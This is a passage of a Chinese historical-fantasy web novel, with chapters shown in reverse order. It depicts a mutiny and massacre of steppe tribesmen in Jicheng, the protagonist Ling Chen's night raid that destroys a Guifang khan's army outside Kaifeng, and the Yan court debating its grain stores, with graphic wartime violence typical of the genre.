站在柜台上的吕齐情绪激昂,手臂强有力的挥舞着,有时甚至能看到口水飞溅,但他那深刻、大胆的话语却引起了许多人的共鸣,因为他说的全部都是事实。 “如果不立刻清除这些异族人,即使赢了这场战争,我们的家人和房屋也早成一片灰烬了。 如果我们的爷、我们的爹、我们的祖宗知道我们是今天这副模样,我们死后有什么脸去见他们? 现在不是沉默的时候,是时候让那些契丹人、突厥人回忆起被我们父辈剁下脑袋的感觉了! 我们需要一个敢于站出来的人,这个人必须有胆量、有远见、不怕死,敢把那些蛮夷的头骨碾成粉末! 我愿意做这个出头鸟,我要拿回被他们抢走的金银,我要拿回他们手上的笔笔血债,如果因此要被砍头,就让陛下杀我一个人吧!” 说罢,吕齐从酒肆的柜台上跳了下来,走到他的那位幽州老乡面前,一把将他腰间的刀抽了出来,握在了手里。 军械丢失,是重罪。可不知为什么,他的老乡并没有第一时间伸手去抢夺,而是呆呆的望着他,想听他接下来会说什么。 吕齐面朝满屋军士向着大门倒退,边退边说道: “我现在要去讨回自从他们入关以来的犯下的笔笔血债,如果我失败了,我就会被他们杀掉,但我不会失败。出了这个门,只有两个结果,不是蛮夷被我杀尽,就是我被蛮夷所杀。” 说罢,他提着刀转身就向门外走去,背影越来越远,声音却越来越响—— “如果我被他们杀了,请把我的尸体运回幽州城,和我的家人埋在一起,杀!!” 看着他踹门出去后,整个酒肆静寂无声,没有人开口说话。 下一刻,凌晨一把抽出身边一个军士腰间的刀,举起来握在手中,面目狰狞的怒喝道:“杀——” “杀!!!” 下一刻,酒肆众人纷纷拔刀抽剑,从酒肆里破门、破窗而出!冲上大街后,见到草原三部的人二话不说就挥刀砍翻!整个街道瞬间乱作一团! 负责守卫鸡城的燕军将领听说城内士卒发生了哗变,立刻调了一队监军营的士兵前去镇压。 结果没过多久,手下来报,监军营的士兵也跟着那些哗变的士兵满城追着草原人砍!而且一传十,十传百,加入的士卒和老百姓越来越多。 整个县城已经彻底失去了掌控! 半个时辰后,吕齐和凌晨带着一群浑身浴血的士卒冲进了鸡城县衙,他们手握着还在滴血的刀剑,逼问守将愿不愿意带领他们杀敌。 守将懵了,这种下克上的藩镇哗变几十年前倒是时常发生,可是自从大周建立以后,已经断层了很多年,今天怎么突然就出现了? 主角还是自己!! “你等……是要陷本帅于不忠不义吗?!” 凌晨穿着燕军的衣甲,面色激动的冲上前去,一把抓住守将的胳膊质问道:“我等为民杀贼、荡平异族,忠于国家,义于社稷,将军是哪里还不明白?!” “是啊!说得对!” “将军,您的家乡难道没有被蛮夷劫掠过吗?” “今日将军要么带领我们杀尽贼寇,要么我们就另推新主,将军看着办吧!!” 你们特么…… 守将满脸错愕的望着满堂持刀军士,他们各个戾气冲天,双目猩红,这特么要是说半个不字,怕是立刻就会变为一摊肉泥! 最重要的是,他们已经杀了那么多契丹、突厥、鬼方部的人,现在就算自己不从也不行了,前线大战想赢,就必须要依靠草原骑兵。 为了安抚和平息两位可汗的怒火,应开疆会不会剁了自己的脑袋? 这还用想吗?包的呀!! 不然他就不是应开疆了! 鸡城守将田楷咬了咬牙,转身走到上首桌子上,将自己的宝剑抽了出来,又在众军士的拥簇下走出县衙大堂,站在院子里的台阶上。 望着满院衣甲染血的士卒,以及房顶上、院墙外冒出的滚滚浓烟,田楷不禁骂道: “混账!哪有你们这样蛮干一通的?刘武!” “末将在!” “带着你的人去关闭四处城门,不许任何人进出,敢有闯门者,就地格杀!!” “是!” “杨岸!” “末将在!” “带上你的人去安抚城中百姓,告诉他们没什么大事,只是要杀蛮子,叫他们安静待在家中,不要乱跑!” “是!” “陈广原!” “末将在!” “带上你的人去守好官仓,任何人胆敢靠近百米之内,杀无赦!接下来朝廷一定会派兵来围剿,我们能不能活,就全靠那些粮食了!” “是!” 吩咐完后,田楷将手中的剑高高举起,大喝道:“既然被你们逼到这个份上,老子也不受那些草原蛮子的鸟气了!所有人都跟着老子上街,给我杀!!” 说罢,他便嗷嗷叫着领头冲出县衙大门,其他人纷纷高举着刀剑,互相呼喊着壮势造威,紧紧跟着田楷开始了大清除行动—— “杀!!!” 第72章 他乡遇故识 细雨绵绵,醒来撑窗卷帘,瞧见新花落满园,方觉春深寒。 “姑娘,醒了?” 青柠正趴在窗边,望着外面雨珠滴落,打湿台阶。小云端着两碗乌鸡汤走了进来,放在桌子上后,款款来到青柠所在的榻边,顺着她的目光看向屋外。 水雾朦胧,清新的水汽扑鼻而来,远山含烟。 见青柠发着呆没有回应自己,小云也不再出声,而是拿起一件缎秀披子,覆在了青柠双肩。 青柠这才察觉过来,转身看向小云,轻叹道:“相公已经去了九天了,北边兵荒马乱,危险重重,也不知道现在怎么样了……” “少爷是行伍之人,久经战阵,他既然去,定是有把握的。姑娘放心,他那么厉害的一个人,一定会得胜归来的。” “唉……小云,难道平静的日子,一定要相公舍身犯险去换吗?” 望着有些惆怅的青柠,小云伸出手按着她的胳膊安慰道:“男人要做的事,自然有他们的道理。” 顿了顿后,小云从柜子里取出小案桌,放在了榻边,又端来乌鸡汤。 “姑娘喝口汤吧,中午本来就吃的少。” 青柠点了点头后,从小云手里接过羹勺,搅动了两下热汤后,望向窗外,又愣了神。 院墙外,柳色青青。 —— 京畿府与冀州府交界处,鸡城县。 南城门外的一处茶棚里,正在cos过路行商的凌晨有点想骂娘。 此处距离燕军指挥部邢州已经很近了,自己跟应开疆已经算的上是同城匹配,正是线下单杀的好机会。 可是这孙子把粮草分成三份,一处在鸡城,另外两处分别在巨鹿县和任泽县。 他此行只带了两百多护庄队,对方每处都有五千人,并且还缩在城池内。 单独杀了应开疆起不了一点作用,因为他只是个傀儡,死了他还会有王开疆、李开疆冒出来。 杀了契丹和突厥的两名可汗也没用,他们的几万部下就会往北退回草原,放虎归山,遗祸无穷。更何况他们回去的路上大概率也不会遵纪守法,苦的还是河北诸府的百姓。 只有将他们的军队彻底击败,杀了他们才行,不然只会让局势更加混乱,处理起来更为棘手。 可是粮草分散在三处,彼此之间距离还不近,要捣毁一处都有点困难,更别提三处了。 自己再怎么牛逼,也没法在短时间内1V5000。 当年曹老板究竟是怎么一把火烧了乌巢的?有没有好心人送本《三国志》过来?《三国演义》也行,在线等,急! 晚春时节,天气也不好,阴雨连绵的,这种天气想放火烧山吃上国家饭都很难。 “凌……凌兄??” 嗯?我最近也没整手艺活啊,怎么还幻听了? “凌兄,你怎么在这里?!” 当一只咸猪手搭在自己的肩膀上时,凌晨才确信那不是幻觉,而且隔壁桌的刘廷让刀都抽出来半截了。 扭头视之,呦!还真是旧识~ 穿过来之前,凌晨有个邪门的癖好,就是每当公司有新牛马被骗进来后,都会主动跟他们打招呼认识认识。 双子座的矛盾之处就在于此,有时候看谁都烦,不想理任何人;有时候又阳光开朗,看谁都顺眼。 在公司里干了快十年的大姐,调侃着说领导瞎了眼,没有做到物尽其用,应该把凌晨调去人事部的。连她都不认识的同事,凌晨居然知道人家的对象今年多大、父母在哪工作。 但她哪里知道,凌晨是在努力游说那些刚出学校的韭菜趁早离开狼窝,免得跟他一样泥潭深陷。因为淋过雨,所以想为别人撑把伞。 和凌晨一样热心为公司着想的还有笑容甜美的人事小姐姐,卧龙凤雏,得一可安天下。这种不世出的天才,公司居然坐拥两位,何愁不能股价飞升! 言归正传,来人是京城百晓生——吕齐。 在邺城还没有拆迁之前,二人曾一起在瘦马坊吹过牛逼,当然主要是他吹,凌晨听。 不过当初孙芝撤退时,连鸡下的蛋都拉走了,怎么漏了这小子? “吕兄,好久不见。” 吕齐一身素服,靴子和垂衫上满是泥浆,看起来风尘仆仆的。 见凌晨认出了自己,吕齐咧嘴一笑,高兴的像个两百多月的憨憨,自顾自的拉开长凳在凌晨身边坐了下来。 “没想到凌兄还记得我。” “吕兄消息灵通,京中诸事了如指掌,这般人杰,凌某自然记忆犹新。” 见凌晨真的认识这人,刘廷让和周围的护庄队员们才默默把刀收了回去。 “凌兄真是不显山不露水,跟关中节度使的公子那么熟络,居然还跟在下一样不急不躁的在外等候。那日之后,在下每每想起,都觉得凌兄高深莫测啊!” 吼~~那当然,在装逼这个领域,没人是我对手,因为我都是在无形之中完成的。 “哎凌兄,那两位公子现在在哪里啊?你又是因为何事来到此地?” 凌晨眼神古怪的望着身边这小子,还是这么话痨和爱打听啊~ “韩登回家了,孙煦在我们那做客。我来找应……哎吕兄,当初晋王撤离京城时,京中百姓士绅不都跟着圣上迁都晋阳了么?你怎么没跟着去?” “唉!” 吕齐向店家要了一壶热茶后,单手肘在木桌上,握拳说道:“西迁之路艰难重重,还有燕军围追堵截,从邺城到壶关的那一段路,到处都是尸横遍野,在下庆幸当初没有跟着去,” 凌晨听的来了兴趣,双手搭在桌子上望着吕齐问道:“可是我听说,西迁是朝廷下旨的,不去的人都会受到惩罚,你是怎么从晋阳军手里跑出来的?又是怎么躲过燕军来到这里的?” 吕齐嘿嘿一笑,并没有正面回答凌晨:“羊有羊的活法,狼有狼的活法,我这种手无缚鸡之力的待宰羔羊,自然是练得一双好腿,只要我存心想溜,就没有人抓得到。” “吕兄此番话……怎么有点像草原上的俗语?” 咽下一口热茶,让身子暖和点了以后,吕齐这才不管不忙的解释道:“我是幽州人,我们那儿离草原近,时常跟他们打交道,一来二去也受到点影响,不足为奇。” 厚立蟹!! 幽州人?? 京爷……昂不对,这会还不是。 哎不不不,那也不对啊!幽州不是应开疆的老巢吗? “吕兄,你是幽州人,不应该好好辅佐燕…陛下吗?你那个时候跑到邺城干什么?” 凌晨的话直接把这位话痨给干沉默了,低下头不停的喝茶,凌晨目光灼灼的打量着这家伙,突然好像明白了什么。 “吕兄,你不会是……对陛下有意见吧?” 吕齐的手明显一颤,茶杯里的热水冒着热气,荡出一小圈涟漪。 “凌兄休要胡言污蔑!在下有幸能与陛下同出一府,何其荣幸!怎会有谋逆之心?!” 真的吗?我不信。 “那你这是……” 看到凌晨盯着自己满是泥浆的鞋子,吕齐无奈的叹了一口气,捏着茶杯不语。 但是,明眼人一眼就能看出来,他肚子里憋了一堆话想说,却因为某种原因说不出口。 “我记得凌兄好像是……颍川府的乡军团练吧?” “对。” “那你又是因何到此?据我所知,颍川乡军这会可正在跟燕军交战。而且我还听说,十几天前,颍川刚刚歼灭了鬼方部的游骑。” 凌晨笑嘻嘻的望着吕齐问道:“嗯,是有这么回事,所以呢?你想说什么?” 吕齐斜瞄着凌晨,小心翼翼的试探着说道:“凌兄,以你的身份,乔装打扮来到这里,应该只有两种解释……” “说下去。” “归降燕军,或者……” “啪啪啪~” 凌晨一边摇头一边鼓着掌,十分钦佩的说道:“不愧是吕兄,只言片语就能猜测到别人的目的和意图。不过,既然话都说到这个份上了,那你干脆再猜猜,我是哪一种?” 吕齐呆呆的望了望凌晨,又环顾四周,这才察觉到茶棚里坐着的,全是年轻、强壮、眼神不善的健壮汉子。 而且,他们都有意无意的瞟向自己。 胆小瘦弱的吕齐,被一群目光灼灼的壮汉包围着,眼下这种情况,估计就算是把东京热的导演请过来,恐怕也很难叫停。 吞了吞口水后,吕齐镇定下来,凑到凌晨面前低声问道:“你不会是想……刺杀应开疆吧?” 凌晨转着眼珠子想了想后,摇了摇头:“暂时还没这个想法,不过我正在苦恼该如何把他们的粮草给烧光~” 吕齐听到这句话后,眼睛瞪得老大,随即一把抓住凌晨的小臂,盯着他的眼睛追问道:“当真?!” 凌晨歪着头看向眼前这小子,是错觉吗?为什么一说到搞燕军,他好像变的兴奋起来了…… “骗你是小狗。” 吕齐盯着凌晨愣了几秒后,又转过头去,从护庄队员的脸上一一扫过,紧接着又望了望茶棚周围,这才说道—— “不管你要干什么,只要你是来给应开疆使绊子的,我愿助你一臂之力。” 凌晨满脸疑惑的望着吕齐问道:“你们不是老乡么?常言道:老乡见老乡,两眼泪汪汪,你这怎么还背后打黑枪呢?” 吕齐长叹了一口气,面色复杂的压低声音对凌晨解释起来。 虽然吕公子年纪不大,但还是很有实力的,他家族是幽州大族……的分支。 原本,他们家是挺支持应开疆的,这也很好理解,不支持的坟头草已经两丈高了。 前些年大周禁军在兵部尚书贺唯忠的带领下,一路横推到幽州城下,即便如此,吕家诸脉都没有偷偷开城门的打算。既然选择跟了他,那就一条道走到底,富贵或是消亡,吕家都认。 抛去阵营立场来说,吕家配的上“河北义士”这四个字。 变化发生在应开疆打开居庸关,放草原三部南下之后。 幽州人民和草原靓仔厮杀了将近半个世纪,不说仇深似海,那也是见面就要问候高堂的级别。 现在好了,得向杀了你爹、你伯、你爷的人赔着笑脸,请他们帮忙,还要忍受他们得意洋洋的朝你发出嗤笑。 这谁受得了? 宁可被朝廷砍去脑袋也不愿受此奇耻大辱的人当时就跳出来一堆,最具代表性的人物就是代郡太守吴尚和来自沧州府的燕军上将任苑。 吕家忍了。 反正能活命,应开疆也已经这么干了,还能咋办?而且局势也好转起来,这不又反推回去,攻下邺城了都。 虽然是座空城,什么实惠都没捞到,但还是产生了不小的政治影响。 可是,草原人不受应开疆的管辖,抢夺民财、奸淫妇女、肆意杀人,恶事干了一件又一件,还不会受到应开疆的制裁。 这也就罢了!! 当河北大地的百姓们奋起反抗时,应开疆为了哄着这群活爹帮他打工,竟然下令燕军和各地官府抓捕那些胆敢对草原骑兵进行防御性攻击的老百姓和地方豪强。 真不是哥们不讲义气,你但凡干点人事我也不会背弃你。我能为你抛弃一切,但你不能杀完人全家,回头还面不改色的来一句“宁教我负天下人”。 更何况你特么杀的是我。 河北的士绅贵族当初选应开疆出来,就是为了让他带着大家谋求更好的政治利益。现在倒好,家里的钱庄被突厥人抢了,底下的佃户被契丹人杀了,甚至连士绅官僚家的别院都难逃鬼方人的洗劫。 我吃柠檬!! 年末顺利!! 这就是吕齐为什么会出现在邺城的原因,他不是去旅游的,也不是去追星的,而是带着幽州势力的政治诉求,想通过孙煦联络到孙芝,商谈合并问题。 一旦谈妥,你看我攮不攮你就完了! 可是谁也没想到,事情还没谈妥呢,孙芝就已经被打败了。 在一望无际的平原上,草原骑兵展现出来的军事力量,确实很有说服力。 那就入主中原吧,现在虽然苦点,可等到平定中原之后,迟早是要解决这些草原雇佣兵的。君子报仇,十年不晚,进度条都百分之六十了,不差那点流量。 这也是河北士绅们的分歧所在,一些人认为应该再坚持一下,等到彻底确立主导性地位后,再找这些蛮夷算账!代表人物为幽州太守葛冉。 一些人表示忍不了一点,凭什么为了他应开疆一个人的皇帝梦,就要搭上我们所有人的利益?必须干他!代表人物为吕齐。 而现在,矛盾彻底激化,已经到了不可调和的地步。 因为文训来了。 爱看电影的朋友们都知道,进度条卡在26%和卡在98%都不要紧,等一等就好。可要是卡在60%不动弹,那就该退出去换下一部了。 文训的入场,意味着前线要征发更多的徭役,要收取更多的粮税,来自草原的精神小伙也要在你家多待两天。 最重要的是,你付出了这么多,最后还不一定能赢。 不说了,砸键盘。 第71章 这是谁的父亲 三百年了,草原上的雄鹰终于再次翱翔在了南人的天空中。自己的名字,注定会刻在南人的书简上,也会被毡房里的母亲唱给孩子们听。 往年冬天,部落里总是缺衣少食,冻死人的事也不稀奇,还要费力攻打南人修筑在崇山峻岭之中的城关,塞外山谷经常尸横遍野。 今年不一样,那些平日里看不起自己的关隘守军,跟个娘们似的低头抹泪,眼睁睁的看着自己入关。 一路上还送吃送穿送酒喝,部落的男儿都壮了一圈。寂寞了还能偷偷屠个村,抓几个女人玩玩,也没有人敢说什么。 现在自己更是率兵越过了传说中的黄河,往前数一千年,能到此处者又有几人? 而现在,我,柔罗,带领着鬼方部落的勇士们,再次饮马黄河! 这要载入史册啊!这要请大祭司敬告鬼神啊! 要是能逼降开封城,让那个儿皇帝赢了这扬大战,以自己的威望,回去之后未必不能消灭其他部族,一统草原诸部。 你看看那些废物们都在干什么,敕勒部在和云中的那个申屠明光死磕,高车部胆小如鼠,这么好的机会都不敢上,吃屎都赶不上热乎的。 契丹和突厥就更别说了,哼哧哼哧的跟文训正面对拼,南人虽然没几个能打的,但也不是完全没有,那个文训还是有点硬的,也算是个人物。 但那又如何? 本汗千里奔袭,神兵天降,如今开封城就在眼前,所有人的命运都攥在我的手里。 敢笑众人多无脑,天下唯我是主角! 张承立在城头,望着下面密密麻麻的鬼方骑兵,神情凝重。 他们全都骑着矮马,身着毛帽毡甲,肩上扛着弯刀,腰间挎着弯弓,每个人背上都背着牛皮箭袋,里面全是尾部插了大雁羽毛的利箭。 脚下踩着兔毛靴,肩上披着狼头骨,每个人的脸上都是兴奋和激动,彼此谈笑风生,丝毫不把开封守军放在眼里。 一年多来,这样的城池,他们破了没有一千,也有八百了。 “下官不知柔罗可汗大驾光临,有失远迎。” 城头上的张承向下方拱手行礼,他的君子礼仪,惹的城下鬼方骑兵们哄堂大笑—— “哈哈哈哈哈~~” 柔罗可汗也被他的模样给逗乐了,心情大好,于是便说道:“你这个人看着就弱不禁风,回家守着老婆孩子去吧~本汗听说开封守将是个小娃娃,他在哪呢?叫他出来。” 张承不紧不慢的说道:“凌团练惧怕可汗虎威,不敢前来相见。只是托下官向可汗问一句话。” “什么话?” “可汗能不能放过开封城?您看……我们还有机会吗?” “哈哈哈哈哈~~” 鬼方部的骑兵们听到这话后,笑的更厉害了,开封守军不过区区两千,我们刀都掏出来了,你还问这种话?这也太天真了吧! 柔罗勒着马儿缰绳,在阵前左右晃动道: “有!怎么没有?你现在就赶紧打开城门,本汗以先祖灵魂作保,你跟城门上的这些人,全家不会有一个人掉哪怕一根头发!要是不听话,可就别怪本汗的刀不认人了!” 张承点点头,沉重的叹了一口气,再次拱手行礼道:“可汗神威,下官自知不能抵挡。但下官绝不会随意开城,致使生灵涂炭,可汗需答应下官一个要求,下官才能甘心归降。 否则,开封还有几千守军,数十万百姓,可汗想要进城,也是要费一番力气的。” 柔罗这才收起了轻慢之心,张承卑微的语气和诚恳的态度,看起来不似作伪。 “本汗说了,你跟这些守城士兵的家人,绝不会有性命之忧。” “不,城门大开之时,不可伤我百姓一人。若是可汗无法约束部下士卒,那便亮刀吧,下官只有奉陪到底!” 柔罗不禁皱起了眉头,他这才发现,自己小看了城楼上的这个文人。 “好!本汗以先祖灵魂、部落狼旗在此起誓,只要你诚心归降,开封城内,不会有一人死伤,谁杀了人,本汗就拿他的黑头偿命!” 鬼方骑兵们听完这话,顿时笑不出来了,面面相觑。 张承点头说道:“请可汗就于城外扎营,开封愿奉上酒食劳军,待下官准备一番后,明日午时三刻,亲自出城请降!” “为何要等到明日?不会是你们南人说的…缓兵之计吧?” 见柔罗还不笨,张承只好向他忽悠道: “颍川乡军和中原各府的军队都在邺城交战,前线是什么情况,可汗肯定比下官清楚,现在哪里还有援兵呢? 况且城内还要做些准备,旁的不说,可汗来的如此神速,请降的物件和财宝都没有,要与各家商量凑出。 区区一晚,又能生出什么变故呢?可汗英雄盖世,又是部落首领,难道要像那些乱贼一样轻率入城吗?” 啧…… 你要这么说,还真显得我上不得台面了。 柔罗思忖一番后,点着头说道:“好!既然你确有诚意,那本汗也不是不重礼节的野人,不过你听清楚了,要是敢唬本汗……” 下一刻,柔罗突然从身旁亲随手中接过硬弓,张弓搭箭,一箭将张承头顶的乌纱帽射飞,钉在了身后的柱子上! “好!好!好!” 鬼方骑兵们纷纷被柔罗精湛的箭术折服,纷纷高举着武器叫好不绝! 柔罗看着城楼上纹丝不动的张承,不解的笑问道:“你怎么跟个呆子一样,不知道躲闪?” 张承强压下心中的惊惧,面色镇定的说道:“因为下官已经决心归降,自然不怕可汗会言而无信,杀了下官。” 柔罗点着头说道:“不错,看你弱不禁风的,倒还真有点胆魄,你叫什么名字?” “下官颍川府从州别驾,张承。” “好,我记住你了。” 紧接着,城门小开了一点,许多壮硕的汉子没有穿铠甲,也没有携带武器,而是担着抬着、推着拉着各种劳军物品,如酒水、猪、鸡、羊、果蔬等放在了阵前。 为了打消鬼方部的疑虑,他们还挨个打开坛子喝了一口,至于家畜生禽,那都是活的,根本没法下毒。 见到这一幕的柔罗非常满意的点了点头,这下他是信了七八分了,不禁为自己的王霸之气和精明选择暗暗窃喜。 不费吹灰之力,就得到了重镇开封,哎呀呀…… 再这样下去,本汗会不会一发不可收拾,饮马长江啊? 你别说,不是没可能嗷~ 至于答应张承的不伤百姓么…… 把开封城的人杀光,不就没人知道这件事了? 这个张承倒还像个男人,那就亲自动手吧,也能表达出自己对他的敬意。 —— 忽有狂徒夜磨刀,帝星飘摇荧惑高。 翻天覆地从今始,杀人何须惜手劳。 我生不为逐鹿来…… 后面是啥来着? 算了,想不起来就不想了。 躺在黄河岸边草堆里的凌晨,嘴里嚼着根草叶,望着漫天繁星,总觉得还有什么黄金台之类的。 就在这时,不远处的草丛一阵沙沙作响,钻出来一个人,躬着身子走到凌晨身边后,低声说道:“大人,队长那里已经好了。” “好。” 凌晨高举着双手伸了个懒腰,还是有些不喜欢上夜班。但没办法,这破挂只有夜里才能发挥出最大的作用,还不容易暴露。 “你去向他们传达我的最后一道命令,一旦看到营帐乱起,直接动手,今天我要拿这位柔罗可汗打边炉。哦对了,记得完事后把马……你懂的吧?” 护庄队成员会心的点了点头。 “上班~” 根据权威机构的科学研究表明,丑时是大脑进入深度睡眠,人体最放松的时候。当然,夜猫子除外。 “啪啪啪啪啪!!!” 鬼方军营里突然响起了一大片剧烈的爆竹声,将正在熟睡中的草原汉子们强制开机,但他们早就习惯了日夜杀人的生活,纷纷拿起武器聚在帐篷里,等待着小头目出帐去察看发生了什么。 鬼方部行军有个特色,就是各自在马匹上携带一部分毡房部件,合在一起就可以迅速扎营,再配合上他们的骑术,真正做到了高机动性。 但有利必有弊,这样就意味着他们没有坚固的营门和围栏,只是用木车随便搭了一圈外边。 被爆竹惊到脱缰的无数草原矮马冲破畜栏,满营乱窜!这些马撞倒火把、踢塌毡房、撞伤士卒,整个大营瞬间就混乱了起来。 作为马背上长大的民族,鬼方儿郎们遇到光秃秃的野马都能飞奔着骑上去制服,有笼头和缰绳的那自然更是不在话下。 于是士卒们纷纷呼喊着让帐篷里的人出来抓马,正在人喊马嘶的嘈杂纷乱之际,东营突然火起,浓烟大作! 才要组织人去救,西营又是数道火光!紧接着是南营、北营,最后一看,中军大帐烧的最旺。 鬼方将领们早就意识到了这是敌袭,可问题是,负责放哨的同伴怎么连个屁都没放??这么混乱的扬面,最少也得百人以上才能制造,上百人摸进营里都没发现吗?? 来不及问候猪队友了,无数夜箭从天而降,两千乡军开路,三千多名手拿菜刀、柴刀、斧头、棍棒、甚至扁担的杂牌军跟在他们身后,高喊着冲进鬼方军营,见人就杀! 一个人头五两银子,并且战后可以领取到他的所有装备,包括武器,当然你不想要也可以换钱,另外如果你嘎了,也会发给你的家属。 怕死的人多的是,穷怕了的人到处都是。 重赏,外加“保家卫国”的属性,有没有兴趣? 开封百姓摆了摆手,不是拒绝,而是无需多言。 一扬防御战,硬生生的打成了追击战。 因为张承玩了一套心理学,他没有说对方是我们的四倍,只是说大家一起上,你自己算,只要一人杀够三个,他们就死绝了。 于是,五六个人合力杀了三个鬼方人后,大家都觉得自己的三个任务达标了,接下来是在帮别人。 护庄队的身影时不时的出现在混乱的交战现扬,只找看起来官大的、以及那些还敢指挥部下反击的杀,杀完就跑。 抵抗了一阵后,鬼方骑兵们见敌人来势汹汹,明显是来拼命的,于是纷纷抓住惊跑的马儿,跳上马背仓皇出逃。 先撤,等天亮组织好了在杀回来。 那么,出了这么大的乱子,柔罗可汗在干嘛呢? 早在丢爆竹前,凌晨就已经送他去跟先祖团聚了,当鬼方将领和亲随们冒着熊熊烈火冲进大帐时,只看到了一位因为长途跋涉而累到昏厥的男人。 这是谁的丈夫,又是谁的父亲? 鬼方败兵们逃出火光冲天、充斥着沙哑呐喊和惨叫哀嚎的大营后,在黑夜里策马狂奔,飞速来到了黄河渡口。 结果又看到了满江烈火、滚滚红烟! 他们来时渡河的船只、留守在此的士兵、粮食、物资,通通都被付之一炬。 不止如此,还有许多面色不善,一看就不是守法公民的壮汉,立在马背上等着他们。 被火光映射到满脸通红的陈啸,举刀指向前方惊惧交加的败兵游骑,神色狂傲至极: “弟兄们!凌大人说了,他从来没有见过咱们,也不知道马匹和金银去哪了!” 全颍川府的绿林好汉都在这儿了,他们听完陈啸的话后,纷纷在心里盘算起来。 那也就是说,这次不用上交后再分配?谁拿到就是谁的?拿多少都不问? 以前哥们拦路抢劫打家劫舍,还要担心踢到铁板,担心官府围剿,顾这盼那的,操着卖白粉的心,赚着卖白菜的钱,过的都是什么苦日子! 自从凌大人来了以后,安排我们洗白,走镖、运料、悬赏协捕、替官府平事。平日里光是正规渠道赚的都够生活开支了,偶尔还介绍一两单额外补贴,上次更是介绍了反王赵世中那道优质大单! 这还没缓过劲来呢,他又拉来了一道更大的! 那他妈还废什么话? “杀——!!” —— 当两万鬼方骑兵被歼灭在开封城下后,感到五雷轰顶的不止是应开疆,连文训的脑袋都晕乎乎的。 在他的估算里,开封城应该会防守的很艰难,但守半个多月肯定没有问题,他已经派人去襄樊调文若的军队了,甚至做好了开封失守的准备。 结果就这么没了? 最震惊的还是已经回到晋阳的孙芝,跟鬼方部交手次数最多的就是他了,鬼方骑兵的战斗力孙芝是很清楚的。 可他实在想不通,兵力薄弱的开封守军是怎么把那群来去如风、彪悍凶猛、所过之处寸草不生的骑兵歼灭的? 打不过已经很逆天了,难道还没跑过?? 凌晨没空去理会各位大佬们怎么想,让那些胡马不敢向南而望后,他已经马不停蹄的渡过黄河了。 礼尚往来,一直是中华民族的优良传统。 已经是最新一章 第70章 飞龙在天 三十岁的王臣鹤,孤身立在一处崖石边上,双手背负在身后,望着远处翻腾的云海和初升的朝阳,面容平静。 只有他自己知道,此刻胸中有多么激荡。 济州府宅的夏雨蝉鸣,上林苑舍的书海浩瀚,卢龙边塞的铁甲寒光,临颍街巷的漫天大雪。 三十载过眼云烟,往日种种如同画卷般从脑海中一幕幕滚动而过,最终化为了那道潇洒不羁的身影。 在自己最落魄的时候,人生最灰暗的低谷,那个人出现了。 他像是命运刻意安排给自己的贵人,慷慨解囊,解饥寒之困;古道热肠,荐谋生之计;谆谆教诲,指点困惑迷津。 旁人视作废纸的《平戎策》,他如获至宝,按图指点三千言,休以一时论成败。哪怕自己数度牵连受累,贬官归野,他依然觉得自己是潜龙在渊。还赠予百金,让自己不至于归乡难堪。 “我很看好你,你一定会建功立业,名扬天下的!” 昨日之言,还在耳畔回响。 想着想着,不禁被泪水模糊了眼眶,王臣鹤努力眨了眨眼睛,才将泪水憋回去,吸了吸鼻子,才察觉有些发酸。 就在这时,身后一骑飞至,马上之人翻了下来,走到他身后单膝跪地:“大人,万事俱备。” 晨光映射在王臣鹤的脸上,为藏青色的儒生衣饰镀上了一层金箔,云升日出,天光破晓。 “出发吧。” “是!” 那将官领了命令,恭敬的朝着王臣鹤行了一礼后,重新翻身上马,掏出令旗插在自己后背之上,沿着山道策马而下。 一只苍鹰从树梢腾空飞起,奋力挥动着翅膀,展翅迎风向着朝阳而去,阳光从远处层峦叠嶂的巍峨奇峰之中透出,洒落大地。 山下平地旷野,旌旗蔽空,长枪如林,身着铁甲兜鍪的士卒整整齐齐的向着前方列队而行,卷起道道黄尘。刀身泛着寒光,盾牌铆钉覆霜。 兵过千,没有边,兵过万,没有沿。 琅琊知府告:青州诸郡,降者留存,拒者夷族。 登州、济州、临淄、定陶、任城尽皆望风而降,没有人敢生出抵抗的勇气,他的兵其实不算多,但架不住他这个人太猛啊! 凶名赫赫的泰山贼,变成了漫山遍野的横尸;蓬莱水贼倚仗的海船,被他干成了水葬棺材。 他说放过你,就一定会放过你,百姓齐上万言书也能保住命;他说杀了你,就一定会杀了你,窜到唐国都能把你脑袋拎回来。 口碑硬的不得了! —— 与此同时,文训和应开疆、或者说他背后的草原三部,围绕着邺城周围的京畿府已经展开了数次交锋。 虽然江淮军士气雄壮,还占着公理大义,但燕军早已熟悉了京畿府周围的形势,再加上草原骑兵的高机动性,双方短时间内还真有点僵持不下。 而作为一手催动了这扬战争的幕后黑手,凌晨正坐在开封城的青楼里观看三年一度的花魁大赛。 是的,青楼,花魁大赛。 为了赢得这扬赌上政治前途和身家性命的大战,颍川府精锐尽出,冯延、刘青山亲自率领颍川乡军渡过黄河,参加了战斗。 留守开封城的重任就交给了张承和凌晨。 当然主要是张承。 作为身系开封数十万百姓安危的团练大人,凌晨却从来不去校扬和将士们同吃同睡稳定军心,也不去巡视境内治下的安危和军备,而是天天流连勾栏瓦舍。 同样作为江淮军最主要的粮草军械储存地、中原重镇,开封的一举一动都牵扯着每一个人的神经。他的松弛懈怠、荒废兵务自然也被应开疆尽数得知。 邢州城的府衙,早已被改为燕帝行营。 身型雄伟,肥而不腻,浑身上下充满了粗犷的气息,满是横肉的脸上布着几道旧疤,嘴唇宽厚突起。胸毛连着肚脐,一身绫罗绸缎,膀大腰圆,小腹挺圆。 曾经的边关悍将,如今的盖世凶贼。 “文训这老狗,四处散播消息说要袭我粮草,诸卿以为呢?” 从一旁侍女敬端的银盘里一把夺过玉杯后,应开疆猛灌了一口酒,大马金刀的坐在銮椅上,望向下方的群臣。 立刻就有一人小心出列,对答道:“陛下,自古以来,事以密成、言以泄败。若文贼真的要袭击我军粮草,必然会悄悄出发,秘密行事,又怎么会大张旗鼓的宣扬? 况且,我军粮草分散在鸡城、巨鹿、任泽三处,呈品字分布,皆有重兵把守。一处有事,另外两处必会严加防备,又岂是那么容易受击的?此为贼疑兵之计,扰我军心,不必忧虑。” 应开疆听罢,深以为然的点了点头。 这时,又有一人出列,行礼后奏道:“陛下,臣探得南军军械粮草,皆屯于开封,如今两军激战正酣,陛下何不请鬼方骑兵奔袭后方,虽不能攻克开封,却也能反将以一军,乱其方寸。 臣闻开封守将,不过是个二十出头的黄口小儿,且终日流连瓦舍勾栏,难堪大用。若大军兵临城下,必定肝胆惧颤,开城纳降亦未可知。 